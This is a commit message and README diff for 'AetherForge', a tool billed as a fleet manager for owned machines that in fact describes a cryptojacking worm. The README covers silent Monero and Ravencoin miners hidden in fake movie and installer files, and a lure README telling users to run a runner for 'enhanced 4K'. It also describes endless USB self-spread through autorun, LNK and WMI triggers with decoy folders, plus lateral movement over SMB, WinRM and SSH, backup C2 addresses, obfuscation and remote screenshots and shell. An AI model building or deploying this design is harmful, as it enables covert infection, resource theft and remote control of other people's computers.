Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
This commit is contained in:
445
README.md
445
README.md
@@ -1,31 +1,30 @@
|
||||
# AetherForge
|
||||
|
||||

|
||||
**Private Monero + Ravencoin fleet command deck for machines you own.**
|
||||
|
||||
**Private Monero fleet command deck for machines you own.**
|
||||
|
||||
One control PC (Windows recommended for forging). One dashboard. Forge workers for **Windows, Linux, and macOS** — fuse inside a movie package or ship a **Spread Kit** for silent multi-OS deploy — and watch your fleet hash from a single steampunk-neon command deck.
|
||||
One control PC. One dashboard. Forge silent workers for **Windows, Linux, and macOS** — fuse inside any file, spread via USB, spread over LAN — and watch your fleet hash from a steampunk-neon command deck.
|
||||
|
||||
No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.
|
||||
|
||||
---
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ CALIBRATE (Settings) pool · wallet · users · alerts │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ FORGE (Builder) worker .exe · prep fusion · movies │
|
||||
│ │ │
|
||||
│ ├──► Prep fusion embed worker in your prep.exe │
|
||||
│ ├──► Movie fusion locked media + runner + ZIP │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ WORKER PC RandomX on CPU · WebSocket home │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ COMMAND DECK live stats · 3D map · remote ops │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
┌─────────────────────────────────────────────────────────────────────┐
|
||||
│ CALIBRATE (Settings) pool · wallet · users · alerts │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ FORGE (Builder) XMR worker · RVN GPU worker · Fusion │
|
||||
│ │ │
|
||||
│ ├──► Prep fusion embed worker in your own .exe │
|
||||
│ ├──► Movie fusion locked media + runner + ZIP │
|
||||
│ ├──► USB Propagation auto-spreads to every USB drive │
|
||||
│ └──► LAN Spread SMB / WinRM / SSH lateral install │
|
||||
│ │
|
||||
│ WORKER PC RandomX CPU · KawPoW GPU · WebSocket home │
|
||||
│ → installs → mines → USB-spreads → phones │
|
||||
│ │
|
||||
│ COMMAND DECK live stats · 3D map · Crucible · roster │
|
||||
└─────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
---
|
||||
@@ -37,161 +36,142 @@ AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, n
|
||||
| Layer | What it does |
|
||||
|-------|----------------|
|
||||
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
|
||||
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide |
|
||||
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX, phones home, reports OS + arch |
|
||||
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, field guide |
|
||||
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry |
|
||||
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
|
||||
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
|
||||
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags |
|
||||
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, USB spread, AI autonomy flags |
|
||||
|
||||
You configure defaults once in **Calibrate**. You forge once per machine (or batch movies) in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.
|
||||
You configure defaults once in **Calibrate**. You forge once per target profile in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.
|
||||
|
||||
---
|
||||
|
||||
## What You Get
|
||||
|
||||
### Command Deck (Dashboard)
|
||||
- **Sign-in gate** — dashboard API uses HTTP Basic auth; browser session stored until you close the tab
|
||||
|
||||
- **Sign-in gate** — HTTP Basic auth; session persisted until tab is closed
|
||||
- Live fleet hashrate, CPU/RAM gauges, share feed
|
||||
- **Fleet Health Score** — weighted 0–100 score (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
|
||||
- **Contribution Map** — per-agent hashrate bars showing each machine's fleet share; displays USD/day per agent when XMR price is loaded
|
||||
- **Underperformer list** — machines below 70% of fleet median, with one-click "Restart All" to remediate laggards
|
||||
- **Fleet Health Score** — weighted 0–100 (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
|
||||
- **Contribution Map** — per-agent hashrate bars with USD/day estimates when XMR price is loaded
|
||||
- **Underperformer list** — machines below 70% of fleet median with one-click "Restart All"
|
||||
- **OS / Arch Breakdown** — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64)
|
||||
- **LAN Group View** — agents grouped by /24 subnet; online count and aggregated hashrate per segment
|
||||
- **Simple / Advanced toggle** — hides charts, logs, and AI panels by default; persisted across sessions
|
||||
- **XMR price** — server-side CoinGecko fetch, 10-minute cache; displayed on the Earnings Estimator card
|
||||
- **Earnings Estimator** — XMR/day formula estimate (or live pool data from SupportXMR); USD/day and time-to-payout shown when XMR price is available
|
||||
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber); staleness ring highlights agents that claim "online" but haven't been seen in >5 minutes
|
||||
- Per-agent cards with pause / resume / stop / uninstall
|
||||
- Fleet alerts (offline, hashrate drop, rejection spikes)
|
||||
- **LAN Group View** — agents grouped by /24 subnet; aggregated hashrate per segment
|
||||
- **XMR price** — server-side CoinGecko fetch, 10-minute cache
|
||||
- **Earnings Estimator** — XMR/day formula + live SupportXMR data; USD/day and time-to-payout
|
||||
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber)
|
||||
- **Monero section** — CPU hashrate gauges, share feed, pool status, per-rig breakdown
|
||||
- **Ravencoin section** — GPU hashrate gauges, RVN-specific stats, per-rig GPU model table with temperature and fan data; visually distinct 3D-effect cards
|
||||
- Pool connection status and AI activity panel (Advanced mode)
|
||||
- Optional matrix stream overlay (Advanced mode)
|
||||
- Matrix stream overlay with mystic word drops (Advanced mode)
|
||||
|
||||
### Fleet Roster (Agents)
|
||||
- Every connected worker — hostname, IP, cores, memory, uptime
|
||||
- **Compact rows** — list shows name, status, hashrate, and IP; click a row to expand inline details and compact remote actions (same expand-on-click pattern on Command Deck agent cards)
|
||||
- Hashrate history charts
|
||||
- Remote control panel — mining ops, recon commands, PowerShell terminal, file upload (**disabled while agent is offline** — intentional; commands require a live WebSocket)
|
||||
- Agent log viewer — **Fetch Log** (`get_log` command) when file logging is enabled; AI autonomy can also push log tails via the `upload_log` tool report (no separate log-ingest REST API)
|
||||
- Fleet filters, bulk commands, notes/tags
|
||||
|
||||
- Every connected worker — hostname, IP, cores, memory, uptime, hashrate, latency badge
|
||||
- **Compact rows** — click to expand inline details and compact remote action strip
|
||||
- **Fleet Groups** — select multiple machines, create a named + colour-coded group; groups are selectable in the Crucible for instant batch targeting
|
||||
- **Remote control panel** — full tactical terminal with live stats ticker, colour-coded log lines, title bar, and clear button
|
||||
- Mining ops: pause / resume / restart miner
|
||||
- Recon: sysinfo, list processes, network scan, DNS config, listening ports
|
||||
- System: **Reboot**, **Shutdown**, **Wake-on-LAN** (sends UDP magic packet to agent's MAC address)
|
||||
- Screen: **Screenshot** — captures remote desktop and instantly downloads JPEG in your browser
|
||||
- Admin: PowerShell terminal, file upload, uninstall
|
||||
- **Live stats ticker** — terminal automatically streams hashrate, CPU%, RAM, temperature, disk on a 5-second interval while an agent is online
|
||||
- **Auto-sysinfo** — system info is fetched immediately when you select an agent
|
||||
- **Offline banner** — controls disabled with a clear OFFLINE badge when agent is not connected
|
||||
|
||||
### Forge (Miner Builder)
|
||||
|
||||
- **Target OS** — Windows, Linux, macOS, or **Universal** (all platforms in one ZIP)
|
||||
- **Spread Kit** — non-fusion ZIP with `Deploy.bat` / `deploy.sh` / `Start.command` → silent `--spread-install`
|
||||
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
|
||||
- Blueprint save/load — re-forge the same profile across machines
|
||||
- Build manager — download, paths, LAN QR for worker URL
|
||||
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation (all platforms), Authenticode / `osslsigncode` signing
|
||||
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below)
|
||||
- **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token
|
||||
- **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight
|
||||
- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `devrun.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
|
||||
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation, Authenticode / `osslsigncode` signing
|
||||
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov`; embedded or paired delivery modes
|
||||
- **Batch forge** — queue many files; progress bar; one ZIP per file; Cancel Batch kills the in-flight compile
|
||||
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
||||
- **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable
|
||||
- **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark
|
||||
- **Universal movie fusion** — one ZIP per title with per-OS runners; macOS gets a `.app` bundle (LSUIElement)
|
||||
- **Backup pools** (advanced) — fallback Stratum pool list baked into the agent
|
||||
- **Backup server URLs** (advanced) — fallback C2 addresses baked into the agent
|
||||
- **USB Propagation** — enables perpetual USB self-spread chain (see below)
|
||||
- **Share Spread** — auto-copy to mounted network shares + WinRM lateral install
|
||||
- **LAN Auto-Spread** — SMB admin$ / SSH lateral movement gated behind C2 auth
|
||||
|
||||
### Cross-platform workers
|
||||
### Ravencoin GPU Mining
|
||||
|
||||
| OS | Persistence | Install base |
|
||||
|----|-------------|--------------|
|
||||
| Windows | Registry + scheduled task | `%LOCALAPPDATA%` (configurable) |
|
||||
| Linux | systemd user service | XDG data home |
|
||||
| macOS | LaunchAgent | `~/Library/Application Support` |
|
||||
Forge a worker with GPU mining enabled. The agent auto-detects the GPU at runtime:
|
||||
|
||||
Agents report `platform`, `arch`, and `os_version` on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime.
|
||||
|
||||
**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing. The server forge pipeline adds `-tags p2p` automatically. Manual `go build` of `agent/` without Forge must pass `-tags p2p` when mesh is enabled — default builds use a no-op stub (`agent/client/mesh_p2p_stub.go`).
|
||||
|
||||
**Requirements:** Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon).
|
||||
|
||||
### Movie Fusion (detailed)
|
||||
|
||||
Use this when you want a **named title folder** with a runner the user actually launches — not a playable shortcut on the “movie” file.
|
||||
|
||||
| Mode | Best for | What you get |
|
||||
|------|----------|----------------|
|
||||
| **Embedded (Option A)** | Clips / smaller files (~500MB and under) | One disguised file (e.g. `Title.mkv.exe`) with movie + hidden worker inside |
|
||||
| **Paired (Option B)** | Full-length films (up to **2 GiB** upload) | Per-title folder under `fusion-deliverables/<Title>/` |
|
||||
|
||||
**Paired layout** (example `Vacation`):
|
||||
|
||||
```
|
||||
fusion-deliverables/Vacation/
|
||||
├── README.txt ← tells user to run the runner for “enhanced 4K”
|
||||
├── Vacation-runner.exe ← decrypts & plays; worker hidden inside runner only
|
||||
├── Vacation.mkv.cmdata ← encrypted media (hidden)
|
||||
└── Vacation.mkv.lnk ← shortcut with --locked (MessageBox: use runner)
|
||||
```
|
||||
|
||||
- Clicking the movie shortcut **does not play** — it prompts for `*runner.exe*`
|
||||
- Primary download after forge: **`Title-package.zip`** (README + locked media + runner; no separate miner in the ZIP)
|
||||
- **Agent is only inside the runner** — not a loose miner file in the package
|
||||
|
||||
**Upload limits:** prep / video uploads capped at **2 GiB** (`FusionMaxUploadBytes`).
|
||||
|
||||
### Dashboard navigation
|
||||
|
||||
| Nav label | Route | Component |
|
||||
| GPU vendor | Miner | Algorithm |
|
||||
|-----------|-------|-----------|
|
||||
| Command Deck | `/dashboard` | `DashboardPage` |
|
||||
| Fleet Roster | `/agents` | `AgentsPage` |
|
||||
| Forge | `/forge` | `BuilderPage` |
|
||||
| Crucible | `/crucible` | `CruciblePage` |
|
||||
| Builds | `/builds` | `BuildManagerPage` |
|
||||
| Field Guide | `/guide` | `GuidePage` |
|
||||
| Calibrate | `/settings` | `SettingsPage` |
|
||||
| NVIDIA (CUDA) | T-Rex | KawPoW (RVN) |
|
||||
| AMD (OpenCL) | TeamRedMiner | KawPoW (RVN) |
|
||||
|
||||
- Agent downloads and silently launches the appropriate miner binary
|
||||
- Local HTTP API polling for live hashrate (15s / 1m / 15m averages), GPU temperature, fan speed, power draw
|
||||
- RVN address and pool baked at forge time; RVN pool presets available in the Forge UI
|
||||
- Dashboard shows dedicated **Ravencoin** section separate from Monero CPU stats
|
||||
- CPU (Monero) and GPU (Ravencoin) hashing power tracked and displayed independently
|
||||
|
||||
There is no separate `CalibratePage` — **Calibrate** is the nav label for the settings route.
|
||||
### USB Perpetual Self-Propagation
|
||||
|
||||
### Calibrate (Settings)
|
||||
- Server port, public URL, data retention, max agents
|
||||
- Default pool + wallet for new forge forms
|
||||
- **Users** — add/change API accounts (first-run password auto-generated and printed to console)
|
||||
- Alert thresholds + Telegram / email notifications
|
||||
- Open Windows Firewall for dashboard port on startup
|
||||
Enable **USB Propagation** in the Forge. The baked binary:
|
||||
|
||||
### Under the Hood
|
||||
- **Stratum proxy** — workers submit through your server; one upstream pool connection per wallet/host; `payment_id` appended to login when set in Calibrate
|
||||
- **Stratum fallback** — agent mines directly to the configured pool when C2 has been unreachable for >30 seconds; cycles through backup pools; stops and hands off back to C2 when the server reconnects
|
||||
- **WebSocket hub** — agents and dashboard get live stats, jobs, alerts
|
||||
- **Fleet secret** — random token generated once on first run, baked into every forged agent; agents rejected if they don't present the matching secret
|
||||
- **Hashrate reporting** — agent divides accumulated hashes by the elapsed interval (not a raw counter); 15s / 1m / 15m rolling averages sent on each stats tick
|
||||
- **Process guard** — Unix `pgrep` fix: correctly matches only the agent binary (no false-positive self-kill)
|
||||
- **ARP-first subnet scan** — autospread reads the OS ARP cache to find live LAN hosts before falling back to a full /24 port sweep; reduces noise from 253 cold probes to typically 5–20
|
||||
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide` (fleet-secret gated)
|
||||
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents; works on Windows, Linux, and macOS targets when `garble` is on PATH
|
||||
- **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS
|
||||
- **Server-side forge cancel** — each build is tracked by a UUID cancel token; `DELETE /api/v1/builder/cancel/{token}` kills the compiler process immediately
|
||||
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
|
||||
- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `devrun.bat`)
|
||||
1. **Spreads within 8 seconds** of any USB drive being plugged in (also checks drives already present at startup)
|
||||
2. Drops the agent binary into a hidden system-looking folder (`~RECYCLER`, `System Volume Information`, etc.)
|
||||
3. Writes an `autorun.inf` (legacy trigger), a **folder-icon LNK shortcut** (Win8+), and a visible **SETUP.BAT** fallback
|
||||
4. Creates a plausible **decoy folder** (Documents / Photos / etc.) so the drive looks natural
|
||||
5. Installs a **persistent WMI event subscription** that fires on every future USB mount — survives reboots
|
||||
6. Refreshes the payload automatically when the agent binary is updated (size check)
|
||||
|
||||
**On the next PC**, when the USB exe runs via LNK or SETUP.BAT:
|
||||
- `InstallIfNeeded` detects it's running from removable media
|
||||
- Silently copies to `%LOCALAPPDATA%`, sets up scheduled task / registry autostart
|
||||
- Original process exits; installed copy starts and **also watches for USB drives**
|
||||
- Chain never ends — every new infected PC propagates to every USB it sees
|
||||
|
||||
### Crucible (Command Terminal)
|
||||
|
||||
- Select one or many agents (or entire Fleet Groups) as targets
|
||||
- Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously
|
||||
- **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible
|
||||
- Real-time command output streamed back to the terminal
|
||||
|
||||
### Matrix Digital Rain
|
||||
|
||||
- Mystic word drops — "destroy", "witchcraft", "black magic", and others appear randomly in the rain
|
||||
- **Gold flurry mode** activates in the Crucible when one machine is being manipulated
|
||||
- Heavy gold rain identical to Forge progress animation
|
||||
|
||||
### Wake-on-LAN
|
||||
|
||||
- Agent reports its primary MAC address to the server on auth
|
||||
- MAC stored in the fleet database
|
||||
- Fleet Roster **Wake** button sends a UDP magic packet broadcast (port 9) to the agent's last-known MAC
|
||||
- Works even when the machine is powered off (requires WOL enabled in BIOS and same subnet)
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
**Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool.
|
||||
**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
|
||||
|
||||
1. Double-click **`devrun.bat`** in the project root.
|
||||
It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets to `server\webroot\`, and starts the server.
|
||||
Installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server.
|
||||
|
||||
2. Browser opens **http://localhost:8989**
|
||||
|
||||
3. **Sign in** when prompted — on first run, check the console window for your generated admin password
|
||||
3. **Sign in** — first run: check the console window for your generated admin password
|
||||
|
||||
4. **Calibrate** → set your Monero wallet + pool + (optional) public URL for remote workers
|
||||
4. **Calibrate** → set your Monero wallet + pool + public URL for remote workers
|
||||
|
||||
5. **Forge** → worker name + server URL (`http://YOUR-LAN-IP:8989` or your tunnel URL) → **Forge Installer**
|
||||
For movies: set title, pick embedded vs paired, upload file, forge (or use batch mode)
|
||||
5. **Forge** → worker name · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · enable GPU / USB spread as needed → **Forge Installer**
|
||||
|
||||
6. Run the forged `.exe` **once** on each worker PC (or distribute movie ZIP + runner per your policy)
|
||||
6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB)
|
||||
|
||||
7. Watch them appear on **Command Deck** and **Fleet Roster**
|
||||
|
||||
### First-run login
|
||||
|
||||
On the very first launch the server generates a random admin password and prints it once to the console:
|
||||
|
||||
```
|
||||
=== First Run ===
|
||||
Dashboard login: admin / <random-password>
|
||||
@@ -199,23 +179,40 @@ Save this — it is not shown again. Change it in Calibrate → Users.
|
||||
=================
|
||||
```
|
||||
|
||||
Subsequent runs load credentials from `data/users.json` (bcrypt hashes only — cost 12). Legacy plain-text entries from older installs are auto-migrated to bcrypt on startup and on next successful login via `checkPassword` in `server/internal/api/router.go`. Change or add users under **Calibrate → Users**.
|
||||
Credentials stored in `data/users.json` (bcrypt cost 12). Legacy plain-text entries auto-migrated. Change or add users under **Calibrate → Users**.
|
||||
|
||||
**API auth summary**
|
||||
**Auth surface**
|
||||
|
||||
| Surface | Auth mechanism |
|
||||
| Surface | Mechanism |
|
||||
|---------|----------------|
|
||||
| `/api/v1/*` REST | HTTP Basic Auth (`Authorization: Basic <base64>`) |
|
||||
| `/ws/dashboard` | `?token=<base64-user:pass>` query parameter |
|
||||
| `/ws/agent` | Fleet-secret `auth` JSON frame on connect |
|
||||
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (agents only) |
|
||||
| `/api/v1/*` REST | HTTP Basic Auth |
|
||||
| `/ws/dashboard` | `?token=<base64-user:pass>` |
|
||||
| `/ws/agent` | Fleet-secret `auth` JSON frame |
|
||||
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header |
|
||||
| Static SPA + `/api/v1/health` | Open (no auth) |
|
||||
|
||||
### Output locations
|
||||
---
|
||||
|
||||
## Portable USB (AetherForge on a stick)
|
||||
|
||||
Run **`pack-usb.bat`** from the project root. It:
|
||||
|
||||
1. Builds the frontend and compiles `AetherForge.exe`
|
||||
2. Copies webroot, agent source, fusion source, and the Go toolchain into `usb\`
|
||||
3. Creates `data\` directories with a starter `config.json`
|
||||
4. Syncs `LAUNCH.bat`
|
||||
|
||||
Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → dashboard opens at `http://localhost:8989`.
|
||||
|
||||
> **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.
|
||||
|
||||
---
|
||||
|
||||
## Output Locations
|
||||
|
||||
| Artifact | Where |
|
||||
|----------|--------|
|
||||
| Fused / forged exe (primary) | Project root — e.g. `prep.exe` or `install-worker.exe` |
|
||||
| Forged agent exe | Project root (e.g. `install-worker.exe`) |
|
||||
| Movie fusion per title | `fusion-deliverables/<Title>/` + `Title-package.zip` |
|
||||
| Archive copy | `data\builds\{build-id}\` |
|
||||
| Uninstall script | Same build folder + download API |
|
||||
@@ -233,9 +230,24 @@ Subsequent runs load credentials from `data/users.json` (bcrypt hashes only —
|
||||
| Same LAN | `http://192.168.x.x:8989` |
|
||||
| Cloudflare / reverse tunnel | `https://your-domain.com` |
|
||||
|
||||
Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL — not inbound ports on each worker.
|
||||
Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL.
|
||||
|
||||
**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth. Remote commands are full machine control.
|
||||
**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth.
|
||||
|
||||
---
|
||||
|
||||
## Agent Silence
|
||||
|
||||
Every agent operation is **completely silent** — no CMD windows, no PowerShell popups, no system notifications. The only user-visible event is a single UAC prompt on first launch (elevation required for persistence and firewall rules).
|
||||
|
||||
| Category | Mechanism |
|
||||
|----------|-----------|
|
||||
| Process launch | `CREATE_NO_WINDOW` + `DETACHED_PROCESS` syscall flags on all child processes |
|
||||
| Persistence | Scheduled task / registry run key — no user-visible installer |
|
||||
| Mining | XMRig / T-Rex / TeamRedMiner run fully hidden |
|
||||
| WMI triggers | PowerShell executed with `-WindowStyle Hidden` |
|
||||
| Spread installs | `--run` flag relaunches silently with detached start |
|
||||
| Fusion decoy | Only the decoy file (movie/prep) opens visibly — agent stays hidden |
|
||||
|
||||
---
|
||||
|
||||
@@ -244,33 +256,38 @@ Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need
|
||||
```
|
||||
crypto miner/
|
||||
├── devrun.bat ← one-click build + launch (dev)
|
||||
├── run.bat / start.bat ← aliases → devrun.bat (project-root markers)
|
||||
├── test.bat ← full suite → scripts/test-suite.ps1
|
||||
├── LAUNCH.bat ← portable/USB build + tunnel (see usb/)
|
||||
├── pack-usb.bat ← build portable AetherForge USB bundle
|
||||
├── run.bat / start.bat ← aliases → devrun.bat
|
||||
├── test.bat ← full test suite → scripts/test-suite.ps1
|
||||
├── LAUNCH.bat ← portable/USB launch script
|
||||
├── scripts/
|
||||
│ ├── test-suite.ps1 ← Go + web + build + Playwright E2E
|
||||
│ └── smoke-test.ps1 ← API matrix B-01–B-10 (server must be running)
|
||||
│ └── smoke-test.ps1 ← API matrix B-01–B-10
|
||||
├── bin/
|
||||
│ └── miner-server.exe
|
||||
├── data/ ← config, DB, builds, preps, logs, users.json
|
||||
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
|
||||
├── data/ ← config, DB, builds, preps, logs, users.json
|
||||
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
|
||||
├── usb/ ← portable USB server bundle (output of pack-usb.bat)
|
||||
├── server/
|
||||
│ ├── main.go ← discovers webroot/, agent/, fusion/ from repo root
|
||||
│ ├── webroot/ ← production UI (copied from web/dist)
|
||||
│ ├── web/ ← React command deck (Vite + TypeScript)
|
||||
│ ├── main.go
|
||||
│ ├── webroot/ ← production UI (copied from web/dist)
|
||||
│ ├── web/ ← React command deck (Vite + TypeScript)
|
||||
│ └── internal/
|
||||
│ ├── api/ ← HTTP routes, WebSocket, auth
|
||||
│ └── builder/ ← forge + fusion (copies agent/ + fusion/ per build)
|
||||
├── agent/ ← worker source (Forge compiles per OS)
|
||||
├── fusion/ ← prep + movie runner (builder copies into build dir)
|
||||
├── tests/README.md ← test phases, E2E env vars
|
||||
├── PROBLEMS.md ← known issues audit (severity-ranked)
|
||||
└── README.md ← you are here
|
||||
│ ├── api/ ← HTTP routes, WebSocket, auth, fleet, WOL
|
||||
│ └── builder/ ← forge + fusion pipeline
|
||||
├── agent/ ← worker source (Forge compiles per OS/arch)
|
||||
│ ├── client/ ← WebSocket client, command handler, GPU miner, screenshot
|
||||
│ ├── deploy/ ← install, persistence, watchdog, passive spread, firewall
|
||||
│ └── config/ ← builtin config baked at forge time
|
||||
├── fusion/ ← prep + movie runner source
|
||||
├── tests/README.md ← test phases, E2E env vars
|
||||
├── PROBLEMS.md ← known issues (severity-ranked)
|
||||
└── README.md ← you are here
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## API Surface (summary)
|
||||
## API Surface
|
||||
|
||||
| Method | Path | Purpose |
|
||||
|--------|------|---------|
|
||||
@@ -281,20 +298,52 @@ crypto miner/
|
||||
| GET | `/api/v1/builds/{id}/download` | Download forged exe |
|
||||
| GET | `/api/v1/builds/{id}/artifact/{name}` | Extra artifacts (ZIP, README, …) |
|
||||
| GET | `/api/v1/agents` | Fleet list |
|
||||
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, powershell, …) |
|
||||
| POST | `/api/v1/agents/bulk-command` | Send same command to multiple agents |
|
||||
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, reboot, screenshot, …) |
|
||||
| POST | `/api/v1/agents/{id}/wol` | Send Wake-on-LAN magic packet |
|
||||
| POST | `/api/v1/agents/bulk-command` | Send command to multiple agents |
|
||||
| GET | `/api/v1/alerts` | Active fleet alerts |
|
||||
| GET | `/api/v1/pools/status` | Stratum pool connection states |
|
||||
| GET | `/api/v1/earnings/estimate` | XMR/day estimate (or live SupportXMR data) |
|
||||
| GET | `/api/v1/earnings/estimate` | XMR/day estimate |
|
||||
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
|
||||
| WS | `/ws/agent` | Worker connection |
|
||||
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed (token = base64 of `user:pass`) |
|
||||
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed |
|
||||
|
||||
Full route list: `server/internal/api/router.go`
|
||||
|
||||
---
|
||||
|
||||
## Manual Build (if you skip devrun.bat)
|
||||
## Cross-Platform Workers
|
||||
|
||||
| OS | CPU miner | GPU miner | Persistence | Install base |
|
||||
|----|-----------|-----------|-------------|--------------|
|
||||
| Windows | XMRig (RandomX) | T-Rex / TeamRedMiner (KawPoW) | Registry + scheduled task | `%LOCALAPPDATA%` |
|
||||
| Linux | XMRig | — | systemd user service | XDG data home |
|
||||
| macOS | XMRig | — | LaunchAgent | `~/Library/Application Support` |
|
||||
|
||||
**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing (`-tags p2p`). Default builds use a no-op stub.
|
||||
|
||||
---
|
||||
|
||||
## Movie Fusion (detailed)
|
||||
|
||||
| Mode | Best for | What you get |
|
||||
|------|----------|----------------|
|
||||
| **Embedded (Option A)** | Clips / smaller files (~500 MB) | One disguised file (`Title.mkv.exe`) with movie + hidden worker |
|
||||
| **Paired (Option B)** | Full films (up to 2 GiB) | Per-title folder under `fusion-deliverables/<Title>/` |
|
||||
|
||||
**Paired layout:**
|
||||
|
||||
```
|
||||
fusion-deliverables/Vacation/
|
||||
├── README.txt ← instructs user to run the runner for "enhanced 4K"
|
||||
├── Vacation-runner.exe ← decrypts & plays; worker hidden inside runner
|
||||
├── Vacation.mkv.cmdata ← encrypted media (hidden)
|
||||
└── Vacation.mkv.lnk ← shortcut → prompts for runner
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Manual Build
|
||||
|
||||
```bat
|
||||
cd server\web
|
||||
@@ -311,13 +360,15 @@ cd ..
|
||||
bin\miner-server.exe -port 8989 -data .\data
|
||||
```
|
||||
|
||||
Open **http://localhost:8989** and sign in with your configured users.
|
||||
|
||||
### Run the test suite
|
||||
|
